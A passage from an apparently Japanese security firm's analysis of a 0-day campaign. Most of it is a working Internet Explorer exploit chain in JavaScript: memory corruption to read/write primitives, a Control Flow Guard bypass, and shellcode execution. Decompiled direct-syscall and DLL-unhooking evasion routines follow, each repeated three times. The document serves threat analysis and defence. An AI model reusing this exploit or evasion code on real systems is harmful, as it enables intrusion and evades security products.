    write(addr2 + 36, 8, 32)
    return {
        size: size,
        addr: addr1
    }
}
function aos() {
    var baseObj = createBase()
    var addr = baseObj.addr + baseObj.size
    var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
    prepareCall(addr, I_RpcTransServerNewConnection)
    return read(read(call(addr)-0xf8, 32), 32)
}
function SymTab(size, sym) {
    this.size = function() {
        return size
    }
    this.set = function(addr, name, value) {
        var o = sym[name]
        write(addr + o.offset, value, o.size)
    }
    this.get = function(addr, name) {
        var o = sym[name]
        return read(addr + o.offset, o.size)
    }
}
function initRpc() {
    var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
    var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
    var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
    var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
    var RPCMessageObject = createArrayBuffer(cbase.size())
    var buffer = createArrayBuffer(0x100)
    var buffer2 = createArrayBuffer(0x200)
    var AttributeVtable = read(patt, 32)
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
    var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
    var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
    var rpcProcStringBuffer = createArrayBuffer(data.length)
    writeData(rpcProcStringBuffer, data)
    var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
    var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
    var NdrServerCall2Buffer = createArrayBuffer(4)
    write(NdrServerCall2Buffer, NdrServerCall2, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 0x40, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
    cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
    write(RPCMessageObject + 76, 1, 32)
    syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
    _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
    return RPCMessageObject
}
function rpcFree() {
    var Cbase = createArrayBuffer(cbase.size())
    var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var AttributeVtable = read(patt, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 64, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
    cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
    cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
    write(Cbase + 76, 1, 32)
    return Cbase
}
function CFGObject(baseAddress) {
    var PEAddr = isPE(baseAddress)
    var eat = PEAddr + 120
    var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
    var size = read(LOAD_CONFIG_DIRECTORY, 32)
    var sizeOfImage = read(PEAddr + 0x50, 32)
    var CFGSymbolTable = new SymTab(0x5c, {
        '___guard_check_icall_fptr': {
            offset: 72,
            size: 32
        }
    })
    
    var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
    this.getCFGAddress = function() {
        return guard_check_icall_fptr_address
    }
    this.getCFGValue = function() {
        if (size < CFGSymbolTable.size()) return false
        var currentCFGValue = read(guard_check_icall_fptr_address, 32)
        var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
        return !isValidAddress;
    }
}
function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}
var cbase = new SymTab(0x60, {
    'pvftable': {
        offset: 0x0,
        size: 32
    },
    'pSecurityContext': {
        offset: 0x44,
        size: 32
    }
})
var cattr = new SymTab(0x32c, {
    '__vtguard': {
        offset: 0x48,
        size: 32
    },
    'SecurityContext': {
        offset: 0xc8,
        size: 32
    },
    'JSBind_TypeId': {
        offset: 0x160,
        size: 32
    },
    'JSBind_InstanceOf': {
        offset: 0x164,
        size: 32
    },
    'normalize': {
        offset: 0x28c,
        size: 32
    }
})
var syntaxObject = new SymTab(0x14, {
    'SyntaxVersion.MajorVersion': {
        offset: 0x10,
        size: 16
    }
})
var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
    'Length': {
        offset: 0,
        size: 32
    },
    'InterfaceId.SyntaxVersion.MajorVersion': {
        offset: 20,
        size: 16
    },
    'TransferSyntax.SyntaxVersion.MajorVersion': {
        offset: 40,
        size: 16
    },
    'DispatchTable': {
        offset: 44,
        size: 32
    },
    'InterpreterInfo': {
        offset: 60,
        size: 32
    },
    'Flags': {
        offset: 64,
        size: 32
    }
})
var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
    'pStubDesc': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
    'ProcString': {
        offset: 8,
        size: 32
    },
    'FmtStringOffset': {
        offset: 12,
        size: 32
    }
})
var _MIDL_STUB_DESC = new SymTab(0x50, {
    'RpcInterfaceInformation': {
        offset: 0,
        size: 32
    },
    'pfnAllocate': {
        offset: 4,
        size: 32
    },
    'pfnFree': {
        offset: 8,
        size: 32
    },
    'pFormatTypes': {
        offset: 32,
        size: 32
    },
    'fCheckBounds': {
        offset: 36,
        size: 32
    },
    'Version': {
        offset: 40,
        size: 32
    },
    'MIDLVersion': {
        offset: 48,
        size: 32
    },
    'mFlags': {
        offset: 64,
        size: 32
    }
})
var RPC_DISPATCH_TABLE = new SymTab(12, {
    'DispatchTableCount': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
})
var _RPC_MESSAGE = new SymTab(0x2c, {
    'Handle': {
        offset: 0,
        size: 32
    },
    'DataRepresentation': {
        offset: 4,
        size: 32
    },
    'Buffer': {
        offset: 8,
        size: 32
    },
    'BufferLength': {
        offset: 12,
        size: 32
    },
    'TransferSyntax': {
        offset: 20,
        size: 32
    },
    'RpcInterfaceInformation': {
        offset: 24,
        size: 32
    },
    'RpcFlags': {
        offset: 40,
        size: 32
    }
})
var god
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)
var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
var msg = initRpc()
var rpcFree = rpcFree()
killCfg(rpcrt4)
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
alert(result.toString(16))
</script>
</body>
</html>

シェルコードの解析

シェルコードは、感染システムで実行中のプロセス一覧、画面キャプチャ、ネットワークインターフェース情報をC2に送信して感染対象の基本情報を収集した後、C2サーバーから暗号化された追加の悪意のあるコードをメモリにダウンロードして実行する役割を果たします。

権限昇格攻撃と主要な悪意ある行為を実行すると予想される追加の悪意のあるコードは確保できなかったため、詳細な攻撃の意図や結果を明らかにすることはできませんが、分析中に確認された悪意のあるコードの特徴は次の通りです。

Direct System Call

context *__fastcall set_syscall_number(context *ctx)
{
  context *result; // rax
  _PEB *peb; // [rsp+20h] [rbp-18h]
  unsigned int buildNum; // [rsp+28h] [rbp-10h]

peb = *(getTeb() + 12);
  ctx->NtMapViewOfSection = 0x28;
  ctx->NtUnmapViewOfSection = 0x2A;
  ctx->NtProtectVirtualMemory = 0x50;
  ctx->NtQueryVirtualMemory = 0x23;
  ctx->NtOpenSection = 0x37;
  result = peb->OSBuildNumber;
  buildNum = peb->OSBuildNumber;
  if ( buildNum >= 7600 )
  {
    if ( peb->OSBuildNumber <= 7601u )
    {
      ctx->NtMapViewOfSection = 0x25;
      ctx->NtUnmapViewOfSection = 0x27;
      ctx->NtProtectVirtualMemory = 0x4D;
      ctx->NtQueryVirtualMemory = 0x20;
      result = ctx;
      ctx->NtOpenSection = 0x34;
    }
    else if ( buildNum == 9200 )
    {
      ctx->NtMapViewOfSection = 0x26;
      ctx->NtUnmapViewOfSection = 0x28;
      ctx->NtProtectVirtualMemory = 0x4E;
      ctx->NtQueryVirtualMemory = 0x21;
      result = ctx;
      ctx->NtOpenSection = 0x35;
    }
    else if ( buildNum == 9600 )
    {
      ctx->NtMapViewOfSection = 0x27;
      ctx->NtUnmapViewOfSection = 0x29;
      ctx->NtProtectVirtualMemory = 0x4F;
      ctx->NtQueryVirtualMemory = 0x22;
      result = ctx;
      ctx->NtOpenSection = 0x36;
    }
  }
  return result;
}
context *__fastcall set_syscall_number(context *ctx)
{
  context *result; // rax
  _PEB *peb; // [rsp+20h] [rbp-18h]
  unsigned int buildNum; // [rsp+28h] [rbp-10h]

peb = *(getTeb() + 12);
  ctx->NtMapViewOfSection = 0x28;
  ctx->NtUnmapViewOfSection = 0x2A;
  ctx->NtProtectVirtualMemory = 0x50;
  ctx->NtQueryVirtualMemory = 0x23;
  ctx->NtOpenSection = 0x37;
  result = peb->OSBuildNumber;
  buildNum = peb->OSBuildNumber;
  if ( buildNum >= 7600 )
  {
    if ( peb->OSBuildNumber <= 7601u )
    {
      ctx->NtMapViewOfSection = 0x25;
      ctx->NtUnmapViewOfSection = 0x27;
      ctx->NtProtectVirtualMemory = 0x4D;
      ctx->NtQueryVirtualMemory = 0x20;
      result = ctx;
      ctx->NtOpenSection = 0x34;
    }
    else if ( buildNum == 9200 )
    {
      ctx->NtMapViewOfSection = 0x26;
      ctx->NtUnmapViewOfSection = 0x28;
      ctx->NtProtectVirtualMemory = 0x4E;
      ctx->NtQueryVirtualMemory = 0x21;
      result = ctx;
      ctx->NtOpenSection = 0x35;
    }
    else if ( buildNum == 9600 )
    {
      ctx->NtMapViewOfSection = 0x27;
      ctx->NtUnmapViewOfSection = 0x29;
      ctx->NtProtectVirtualMemory = 0x4F;
      ctx->NtQueryVirtualMemory = 0x22;
      result = ctx;
      ctx->NtOpenSection = 0x36;
    }
  }
  return result;
}
context *__fastcall set_syscall_number(context *ctx)
{
  context *result; // rax
  _PEB *peb; // [rsp+20h] [rbp-18h]
  unsigned int buildNum; // [rsp+28h] [rbp-10h]

peb = *(getTeb() + 12);
  ctx->NtMapViewOfSection = 0x28;
  ctx->NtUnmapViewOfSection = 0x2A;
  ctx->NtProtectVirtualMemory = 0x50;
  ctx->NtQueryVirtualMemory = 0x23;
  ctx->NtOpenSection = 0x37;
  result = peb->OSBuildNumber;
  buildNum = peb->OSBuildNumber;
  if ( buildNum >= 7600 )
  {
    if ( peb->OSBuildNumber <= 7601u )
    {
      ctx->NtMapViewOfSection = 0x25;
      ctx->NtUnmapViewOfSection = 0x27;
      ctx->NtProtectVirtualMemory = 0x4D;
      ctx->NtQueryVirtualMemory = 0x20;
      result = ctx;
      ctx->NtOpenSection = 0x34;
    }
    else if ( buildNum == 9200 )
    {
      ctx->NtMapViewOfSection = 0x26;
      ctx->NtUnmapViewOfSection = 0x28;
      ctx->NtProtectVirtualMemory = 0x4E;
      ctx->NtQueryVirtualMemory = 0x21;
      result = ctx;
      ctx->NtOpenSection = 0x35;
    }
    else if ( buildNum == 9600 )
    {
      ctx->NtMapViewOfSection = 0x27;
      ctx->NtUnmapViewOfSection = 0x29;
      ctx->NtProtectVirtualMemory = 0x4F;
      ctx->NtQueryVirtualMemory = 0x22;
      result = ctx;
      ctx->NtOpenSection = 0x36;
    }
  }
  return result;
}


シェルコードは、主要なAPIをDLLに実装された関数を使用せずに、システムコールを直接呼び出す方法を使用します。これは、エンドポイントセキュリティ製品の検知を回避するための試みと解釈されます。

Disable User Mode Hook

_BOOL8 __fastcall unhook_system_dlls(context *ctx)
{
  char v2[16]; // [rsp+20h] [rbp-48h] BYREF
  char v3[16]; // [rsp+30h] [rbp-38h] BYREF
  char v4[16]; // [rsp+40h] [rbp-28h] BYREF

strcpy(v3, "ntdll.dll");
  strcpy(v4, "kernel32.dll");
  strcpy(v2, "kernelbase.dll");
  return unhook(ctx, v3) && unhook(ctx, v2) && unhook(ctx, v4);
}
_BOOL8 __fastcall unhook_system_dlls(context *ctx)
{
  char v2[16]; // [rsp+20h] [rbp-48h] BYREF
  char v3[16]; // [rsp+30h] [rbp-38h] BYREF
  char v4[16]; // [rsp+40h] [rbp-28h] BYREF

strcpy(v3, "ntdll.dll");
  strcpy(v4, "kernel32.dll");
  strcpy(v2, "kernelbase.dll");
  return unhook(ctx, v3) && unhook(ctx, v2) && unhook(ctx, v4);
}
_BOOL8 __fastcall unhook_system_dlls(context *ctx)
{
  char v2[16]; // [rsp+20h] [rbp-48h] BYREF
  char v3[16]; // [rsp+30h] [rbp-38h] BYREF
  char v4[16]; // [rsp+40h] [rbp-28h] BYREF

strcpy(v3, "ntdll.dll");
  strcpy(v4, "kernel32.dll");
  strcpy(v2, "kernelbase.dll");
  return unhook(ctx, v3) && unhook(ctx, v2) && unhook(ctx, v4);
}


「\KnownDlls」ディレクトリから主要なシステムDllのオリジナルを現在のプロセスにコピーし、ユーザーモードフックを削除します。これもセキュリティ製品を回避するための試みと解釈されます。

In Process Dll Hiding

32ビットのIEプロセスで動作を開始したシェルコードは、「splwow64.exe」プログラムを実行して64ビットプロセスで悪意のある行為を進行します。この時、対象プロセスにロードする悪意のあるコードを、正常なDllの開始アドレスから0x1000オフセットだけ離れたアドレスに位置させることで、プロセスにマッピングされたDllを基準に検知するセキュリティ製品を無力化するためのものと見られます。

結論

今回の攻撃では、主要ソフトウェアの0Day脆弱性を利用したことに加え、攻撃者が長期間にわたりセキュリティ研究者に成りすましたSNSアカウントを用意し、それを活用したことが特徴です。

コンピュータ技術は、ハッキング事故の根本原因であるセキュリティ脆弱性が発生しないように発展していますが、今回の事例のように不注意な人間のミスを対象とするサイバー攻撃は、今後も頻繁に発生することが予想されます。

したがって、コンピュータとインターネットがもたらす生活の利便性の裏には、常に潜在的なセキュリティ脅威が存在するという事実を認識し、先手を打って対応することが、現実のセキュリティ問題に対する最善の策であると考えます。

エンキホワイトハット

エンキホワイトハット

ENKI ホワイトハット
ENKI ホワイトハット

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

購読する

コンテンツが役に立ったら?
エンキーレターを購読しましょう!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.